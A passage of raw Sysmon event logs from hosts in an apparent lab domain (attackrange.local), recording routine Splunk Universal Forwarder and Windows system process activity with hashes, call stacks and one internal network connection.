Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.507{7BD73061-7123-613B-220B-00000000F001}6924C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015245Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:20.553{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=560B7E14CAA2F145BA0CFA18782C6416,SHA256=AB17CB519F2CC724A2484D0C08CC9445632633323EE5A30FA06942EA2A2D0579,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.678{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7124-613B-240B-00000000F001}3300C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.678{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.678{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.678{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.678{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.678{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7124-613B-240B-00000000F001}3300C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.678{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7124-613B-240B-00000000F001}3300C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.678{7BD73061-7124-613B-240B-00000000F001}3300C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000047630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.256{7BD73061-7124-613B-230B-00000000F001}64124956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000047629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.477{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59405-false10.0.1.12-8000- 23542300x800000000000000047628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.037{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=91AE539C5EE7D3D3BB568D09343887AF,SHA256=0DADE71B84C2DF6569061F6401D3850C86F419CF00407369F45C4E642B094D36,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.006{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7124-613B-230B-00000000F001}6412C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.006{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.006{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.006{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.006{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.006{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7124-613B-230B-00000000F001}6412C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.006{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7124-613B-230B-00000000F001}6412C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:20.007{7BD73061-7124-613B-230B-00000000F001}6412C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015246Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:21.568{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E957533FD24CF0F5B443DCACB59577A,SHA256=D39D50A476B068ADEC416F08CED1A8C0701275F778AB3B2070DF53B3706833CE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.756{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7125-613B-250B-00000000F001}6696C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.756{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.756{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.756{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.756{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.756{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7125-613B-250B-00000000F001}6696C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.756{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7125-613B-250B-00000000F001}6696C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.757{7BD73061-7125-613B-250B-00000000F001}6696C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.068{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 